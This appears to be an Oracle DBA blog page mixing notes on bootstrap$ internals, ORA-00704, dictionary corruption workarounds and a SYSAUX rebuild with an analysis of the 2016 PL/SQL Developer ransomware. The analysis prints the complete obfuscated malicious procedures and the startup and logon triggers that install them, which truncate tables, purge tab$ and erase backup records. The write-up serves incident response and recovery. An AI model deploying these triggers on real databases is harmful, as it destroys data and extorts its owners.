Skip to content

Oracle bootstrap$ 说明

What is bootstrap?

Bootstrap is a technique for loading the first few instructions of a computer program into active memory and then using them to bring in the rest of the program.

What is bootstrap in Oracle ?

In Oracle, Bootstrap refers to loading of metadata (data dictionary) before we OPEN the database.Bootstrap objects are classified as the objects (tables / indexes / clusters) with the object_id below 56 as bootstrap objects.  These objects are mandatory to bring up an instance, as this contains the most important metadata of the database.

What happens on database startup?

This shall be explained by setting the SQL_TRACE while opening the database.Connect as sysdba and do the following
SQL> startup mount ;
SQL> alter session set events ‘10046 trace name context forever, level 12 ‘ ;
SQL> alter database open ;
SQL>  alter session set events ‘10046 trace name context off ‘ ;
SQL> ORADEBUG SETMYPID
SQL> ORADEBUG TRACEFILE_NAME
The sql_trace of the above process explains the following operations behind startup. The bootstrap operation happens between MOUNT stage and OPEN stage.
1.)  The first SQL after in the above trace shows the creation of the bootstrap$ table. Something similar to the following:
create table bootstrap$ ( line# number not null, obj# number not null, sql_text varchar2(4000) not null) storage (initial 50K objno 56 extents (file 1 block 377))
This sys.bootstrap$ table contains the DDL’s for other bootstrap tables (object_id below 56). Actually these tables were created internally by the time of database creation (by sql.bsq), The create DDL passed between MOUNT and OPEN stage will be executed through different driver routines. In simple words these are not standard CREATE DDLs.
While starting up the database oracle will load these objects into memory (shared_pool), (ie) it will assign the relevant object number and refer to the datafile and the block associated with that. And such operations happen only while warm startup.
 The internals of the above explained in ‘kqlb.c’.
2.)  Now a query executed against the sys.bootstrap$ table, which holds the create sql’s for other base tables.
select line#, sql_text from bootstrap$ where obj# != :1 (56)
Subsequently it will create those objects by running those queries.
Object number 0 – (System Rollback Segment)
Object number 2 to 55 (Other base tables)
Object number 1 is NOT used by any of the objects.
3.) Performs various operations to keep the bootstrap objects in consistent state.
Upon the successful completion of bootstrap the database will do the other tasks like recovery and will open the database.

Which objects are classified as bootstrap objects in oracle database?

Objects with data_object_id less than 56 are classified as core bootstrap objects.The objects are added to the bootstrap. The objects affected are :

hist_head$
histgrm$
i_hh_obj#_col#
i_hh_obj#_intcol#
i_obj#_intcol#
i_h_obj#_col#
c_obj#_intcol#
From 10.1 the following objects have been added:
fixed_obj$
tab_stats$
ind_stats$
i_fixed_obj$_obj#
i_tab_stats$_obj#
i_ind_stats$_obj#
object_usage
These additional objects shall be re-classified (or) ignored by following methods.
1. Opening the database in migrate mode
2. Using event 38003
Event 38003 affects the bootstrap process of loading the fixed cache in  kqlblfc(). Per default certain objects are marked as bootstrap objects (even though they are not defined as such in sys.bootstrap$) but by setting the event they will be left as non-bootstrapped.

What is bootstrap process failure? or  ORA-00704

This ORA-00704 error SERIOUS if reported at startup. This error refers to some problem during bootstrap operation. Any ORA-00704 error on STARTUP / RECOVER is serious, this error normally rose due to some inconsistency with the bootstrap segments (or) data corruption on bootstrap$ (or) any of the base tables below object_id  56. After this error it might not allow to open that database.

When ORA-00704 shall occur?

1. There is a probable of this error when any unsupported operations are tried to force open the database.
2. This error can also occur when system datafile has corrupted blocks. (ORA-01578)
3. In earlier releases of oracle (prior to 7.3.4 and 8.0.3) this issue shall arise due to Bug 434596
The option is to restore it from a good backup and recover it.
-> If the underlying cause is physical corruption that is due to hardware problems then do complete recovery.
-> If the issue is not relating to any physical corruption, then the problem could be due some unsupported actions on Bootstrap, and a Point In Time Recovery would be an option in such cas.

8月12,又一次遭遇比特币勒索病毒,变种。

在国内一个汽车制造商的生产库中碰到该类问题。

相对比16年的那次,病毒变种了,增加了额外2个存储过程。当时客户的生产库离1200天还不到2个小时,但是庆幸还有备份。

···所以悄悄的作弊了,改系统时间,备份恢复后对相关的触发器和存储过程进行删除后,系统恢复运行。但是建议客户进行datapump数据干净导出。

Corruptions on OBJ$ indexes。OBJ$上索引损坏的一种处理方式(数据量不大的时候,只要业务允许停机可以忽略数据量的考虑)

INTERNAL:Corruptions on OBJ$ indexes (Doc ID 39400.1)

 

To export a system when there are corruptions on indexes on OBJ$:

 

–     Take a FULL COLD BACKUP

 

–     Connect internal in SQLDBA and assuming your default tablespace is

SYSTEM and you have some free space:

 

create table pig$ as select * from obj$;

 

create unique index p_obj1 on pig$(obj#);

 

create unique index p_obj2 on pig$(owner#, name, namespace,

remoteowner, linkname);

 

 

–     Now edit the catexp.sql script (take a safe copy first).

This is generally located in the RDBMS/ADMIN directory.

 

Edit this to change ALL references to the table ‘OBJ$’

to now reference ‘PIG$’.

 

–     Connect internal in SQLDBA and run this new CATEXP.SQL

 

–     Perform a FULL export.

 

–     Shutdown the database and delete it.

 

–     Recreate the database from scratch with a CREATE DATABASE command.

Ensure you set up a second rollback segment for non-system

tablespace use on the import.

 

–     Perform a FULL import.

sysaux表空间损坏导致db无法open的故障修复–重建sysaux 表空间

某政府机关核心数据库sysaux表空间由于光纤链路问题出现损坏导致数据库无法open,通过特殊的办法修复,后续补上.

 

该问题为重建sysaux的过程,主要sysaux表空被截断了,文件大小不对.所以采用重建的办法.主要步骤如下:

 

1.用exp基于表空间的方式备份数据

2.查询当前数据库有多少组件

3.删掉sysaux表空间

4.卸载相关组件

5.重建sysaux表空间

6.重装组件

7.expdp导出全库重建整个库.

 

将该SYSAUX 数据文件 offline 后启动实例到 open 状态

 

SQL> alter database datafile 3 offline drop;Database altered.
SQL> alter database open;

Database altered.

SQL> select status from dba_tablespaces where tablespace_name=’SYSAUX’;

STATUS ——— ONLINE

SQL> select file_name,status,online_status from tablespace_name=’SYSAUX’;

FILE_NAME ——————————————————————————–STATUS ——— ——-

===该部分作者加密===

SQL> alter session set events ‘25475 trace name context off’; Session altered.

安装该组件

SQL> @?/rdbms/admin/owminst.plb

测试 exp 导出已经可执行

 

重建 DB CONTROL

 

SYSMAN需要删掉。

 

SQL>alter session set events ‘25475 trace name context forever, level 2’;
Session altered.
SQL> drop user sysman cascade;

User dropped.
SQL> alter session set events ‘25475 trace name context off’;
Session altered.
SQL> @?/sysman/admin/emdrep/sql/emreposcre ?/ SYSMAN luda TEMP ON;

 

重建 OLAP

[oracle@rac ~]$ cd $ORACLE_HOME/olap/admin

SQL> @catnoamd.sql

SQL> @olapidrp.plb

SQL> @catnoaps.sql

SQL> @catnoxoq.sql

SQL> @cwm2drop.sql

SQL> @?/olap/admin/olap.sql SYSAUX TEMP;

安装 Oracle Spatial

SQL> @?/md/admin/mdinst.sql;

安装 TX

SQL> @?/ctx/admin/catctx luda SYSAUX TEMP NOLOCK;

SQL> conn CTXSYS/luda
SQL> @?/ctx/admin/defaults/dr0defin.sql “AMERICAN”

安装 XML

SQL> conn / as sysdba
SQL> @?/rdbms/admin/catqm.sql luda SYSAUX TEMP;

SQL> @?/rdbms/admin/catxdbj.sql;
SQL> @?/rdbms/admin/catrul.sql;

安装 TEXT

SQL> @?/ctx/admin/catctx aaa SYSAUX TEMP NOLOCK; SQL> conn CTXSYS/luda
SQL> @?/ctx/admin/defaults/dr0defin.sql “AMERICAN”

安装 Oracle Intermedia
SQL> @?/ord/admin/ordinst.sql SYSAUX SYSAUX;

SQL> @?/ord/im/admin/iminst.sql;

 

2016年在国内的plsql developer工具注入脚本的原理解释(代码不作公开)

在10月左右国内爆发了一阵子关于Oracle数据库锁定以及删除的比特币勒索事件,笔者历经数次此类问题,客户深受其害,在没有备份的情况下有些数据救回来了有些则被病毒恶意删除了,在本文里病毒代码不作解释公开,仅作解析原理以及学习交流使用.

14

该恶意脚本通过触发器的方式来实现对数据库的破坏,分为三部分:

DBMS_SUPPORT_INTERNAL

该触发器为数据库启动触发,启动后执行如下操作

  1.  检查数据库创建时间是否大于1200天,如果好过1200则创建orachk表来备份tab$表,此后删除tab$中除掉owner#为0和38的行.
  2. 接着通过dbms_backup_restore清理整个数据库的备份信息
  3. 然后通过dbms_system在alert日志中写上如上图的相关告警提示信息

DBMS_SYSTEM_INTERNAL

该触发器为数据库登陆触发,该触发器作用主要是是对不在表空间system,example,sysaux表空间的对象进行统计信息最后分析时间的对比,如果存在1200天以上的表未做统计信息分析则会判断下是否属于C89239的客户端的进程,如果不是则出发事件告警.告知登陆用户数据库被锁定.

DBMS_CORE_INTERNAL

该触发器为数据库用户登陆触发,为整个恶意脚本中最严重的破坏部分.在用户登陆后,会触发对归属于当前登陆用户的不在表空间system,example,sysaux表空间的表并且过滤掉带$的表以及orachk备份表,簇表进行统计信息收集的时间进行收集对比,如果存在超过1200天未收集统计信息,则truncate对应的表(不是全部表truncate,还是有条件的). 然后告警.

 

处理办法:

 

基于该问题的解决办法,有备份则备份恢复,没备份则通过Mdata或者dul恢复被truncate.当然还涉及到基表tab$表的的一些情况,需要根据tab$是否被清理,系统中离上次收集统计信息超过1200天的表有哪些等来做一些条件判断. orachk的备份表可以起到比较重要的作用.

 

该脚本原文:(可以用本站的plsql反解密工具进行解密.)

create or replace procedure “DBMS_SUPPORT_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
6f2 467
N/V8HjJRfuLs0jji4Nsz59BipVwwg0NcTPZ3Z46BQqqVlW/f91N+YSzjDJV+ZQUuE5EGR366
EJMlfvzRE58yt6OZc4KSTcpvVvL2DbSsleURlQZtls3WJA5pz/M0+jPWnkT4FjkVuBeLaMdy
ALf02U3cX8XvuLMWMTTUCuIMWE1YSspHs1ZXI9Gs+vtlQBvjnlOe6gd3z3/W+1hQ9NVZ/I6C
j2V5tDzc6HzQPhRRxbi+yLtemcB/XmZq6LevX25Uoh+PX5PxDirtUX/0ml29rwGQ83Z0yI00
bsjMfZuniA042B8dOxpSCVkldQHIJT32hCeo0PjpAho6+jazCqyp3gXbfFJbkXPcj5X72xmR
BKYB7IeI19FWpSf0bYk033EqsunX2ZmZMbnifUrBWy/XgFJ8so/pL0Q4j8a4veh7zSmRqAf4
IwPePjnF5qtZiWrhEjg05kstoQ2gISXW5md7jhB6nMXypgSk+31ThFQoV8MayDQlv+mnqAFQ
JnkTUTBAepZf1v/MLT/vpbq/g9dYU7px5vGjcSXSs+W6C0aZl1rLgGbSwt7uTUlBoeXFTx/M
V3hRu2jj+dFRWYh1oQt3ceLIuyw2bQl4zT8jPyDANYpoFnjUWMienpHVLnVuO7HBlHUgcp8O
uWsPh47dduwxpeQraQf6Qo94VnBch/vzMOueRXpeB/t1ftQiny8G3zCBI0njZmlbW7vEd5tG
TMVovGXAnSErHC9zg24j9nDbmCowZGq9Wj/xLF6i11NClsiUelde9IJSam2YJusJEcZOCHbA
61rn6O3JMEfTVbLaA8yGI2VYTgVUs3YraHSE59ZXNYT26ABbss/ze9q2YXM83hC+fsRMF/UB
CyDehlVk6poPu0iqh3GtYz8ewTyr3U4Huiw5h3ZWSLy1YVPtoJIy/pWvJcSQwapjtTH5sFtP
QXlkijT3+59BVrskc26lkH1zm7lDYOzNrpClUhJzzfyG14Hw7ZCADPYTJKck4rlIc3omb8sB
88Za8K4d6FhaDHeGlAPPzvR2h4QEj7BDj6eGBWuZ5d7i9lhFpxlcRn+XGrnpY+SYpKy1+Nuw
YF6gWAi2A5DlAe5yl38YHz8dXJEBsA==

/
PROMPT Create “DBMS_SUPPORT_INTERNAL ”
create or replace trigger “DBMS_SUPPORT_INTERNAL ”
after startup on database
begin
“DBMS_SUPPORT_INTERNAL “;
end;
/
CREATE OR REPLACE procedure “DBMS_SYSTEM_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
3a5 384
D8WvgOUUGiT5i6HOYNlx/FlHr5Ywg/AJDwwFaY6aA08GR5wUL2MmCn3bLQVdPGCbIPrwCrxG
oPo8ULTCGw2SUmHGstQ2bVHHt5N1tC6gC5Wc7X1qIqnKvHSft0hv/qDdAsf/1zpzrcGr6NHg
+t9/XwxCPcDYAW1wPfcqrC6yPqX+/Vsxqx3IL6/hULowV5aRixEC6FMU4NaFRaddQPRvwyHl
zBZYS1SPOGYTWNPoU74teofIKpLVVFSvZvt5oTj0uePpkcKJJO51aQHwXMjpdqJcVmRw9IbO
dJx8HqqijllMRBoWyzVCRLqloOMmbTjgyvPaqwl/EXtrLt1lhAt0TzaF0bOmnMgnFnXu0zHK
H6kuNyzXmTF0Y2bpbhhZIH5q3SZXgHcpEfJGAX5tm94MdChf5Qyf4dtVTxfbWDGKd4oU0bN6
eSz7+3VaYXykk5fnVLcWzlXOn0ig8qTe+s8g+yWfW4hAZm0WpNHfLlWRB7dDWLkBsBLkHmrQ
0B9zA9cAHvTh6HmUN865J7vov6ZLc+X+KsTH7ULSQ88DmjG1Py3HVa0sftZ8AO2Htp5sKk8Q
IgNTQQ/FXYUdd28rwG25l9KjtxjJxOLcD0FIgf45T1eprwVVCr8XvU8Z9dVrKKdWENo/mi6z
UR84A5RcLGRFNVeT3tgVobWlTvkTjGq5Q48ywY99wbn6+em7yRpvDgRnvkNC/Xp+IaMupWi0
Ypj3KHl4rOW6JjociXiPSu8cZp25NcuXNXHeNjLj/Y8jh+vQUbWbXqGlPqKO26/scgimuQO0
IOZxMoao9cUBXZaoWlZVwuQetwffXHZGqEY/bvWEOxkRhI0cg4PlB/DyzeKd+u6GDB876yoT
PBEx7DsW0gARJWjtmk3EITM=

/
CREATE OR REPLACE TRIGGER “DBMS_SYSTEM_INTERNAL ”
AFTER LOGON ON DATABASE
BEGIN
“DBMS_SYSTEM_INTERNAL “;
END;
/
create or replace procedure DBMS_STANDARD_FUN9 wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
69 9a
8qPs2BvPyop5gdYsYiM6d3OX/X4wg6RtrcupfHQ2JkICDBEpacVJ33D0BF12Udm1qjWJ3p8a
PTQzNujgdF0LJz6M06sNjH28d2D11hbDoLhreR50pKELek9RaqbOhmll1tuFFLR5oEho2F3o
LOPeiFY=

/
create or replace procedure “DBMS_CORE_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
73c 4c4
SlwavX1476MVTf7FOLHh3KBF3Nkwg81eTPb9gI7NAz+VeRF1VcLz8dNYVxVjjD0Woxede4IK
xT+TPCVhb6dsZjsGBNIXg8Zv8rJ/vaFVQNRptsSoUib6DA9uB/mpZ4UMa7/JedXRPtK+w0sR
uVW+/kES/zHIW9/2om6vAmBVti2kuG/avJFosNFu+dGp756mzTCtTQt9gIeQCKvJq8PCZY8Q
U2HD0SZfyMPmE8CY6UKVTYnybAPoDO0O876KpGRL+x60VoncjwpXXdJFgMGtRoZa1o1iU8M+
TNHqMvekUvO4yOLvFKwdr3HJDM4v7HqlytNfxvE8TBuP629qzfUv+HcLj1vTccE5HcAI1m02
TZrOB8T7sJ8e1PqUBfA2wvEPFTc/XUUN5pBMv89Gx3uaIJhAdOANa6hInulybHIIspyeiF4a
0oue9nXoXGWU3q+9qquCMlW/Z2+oDZrmi85wL35WWIBWMg7MWyjYhO1QAaJeHdy2dFXOjGNl
wn6sfn+y0+xaWIzsXTS+NS/8NKci45EE+mYiLR7OR8qTwntahjjC9+aq4TbJgrBXF8VPY4G8
YaLCCPW0LsKO9fPIMVnefBP3Zq0PKxMoooKU6cP+aUzNVpnj/wsMnTVC70hg+VE14+xu+J61
fyH226y2n65ptDcHeZuChA13yU6F3jwOuPwBldyOQFmZRj+AZL8aNY5xi8QtgvqQ8llOc2zg
D0zYcYdWwsvUQm2CZftXMjaEtUETw1eC0cnMoQ+I5NhanNshdEzG6INVX06p/b4NYsL+wBe7
+k+atflqCO5OzQcGth8wFKPK65GGj9ev76kSDxzkCe21IxK1wR8FB9qYnaSaqu1OBn0ciR9v
udicE6Rkhzrk/JuQI5iTjep9yUJjRW7YVmgc72mGuQoXD3qYEs6lfYC2j30TW2S8EOKLRIYa
bey9sAget7sz9cT6O68we5P4MO8pKBhVszl6AM/k67mx+ND+hxwQDU4RtdBbrr/QKBlHs+Gg
kkt7zYFhVrSrLsZQDFC9+hQC15Hh9qG/AM2v/G9uBYWsoXuKNZQr+JO/dyzm36wasf2wt/qd
g7AKkgttoSQemtwumco6VgzGyDtskxmjhFi7sDlNjf/o5BCumd/zUqp8qTXsJidULErfOLIs
VpDLW4y5kjpzGDqAsALLacnR+R/4JGJh02GpmiPN7Z2mGzsg1Q==

/
CREATE OR REPLACE TRIGGER “DBMS_CORE_INTERNAL ”
AFTER LOGON ON SCHEMA
BEGIN
“DBMS_CORE_INTERNAL “;
END;
/

更详细的解释可以百度搜索.

损人不利己的事情还是要敬而远之.做一个有正能量的开发人员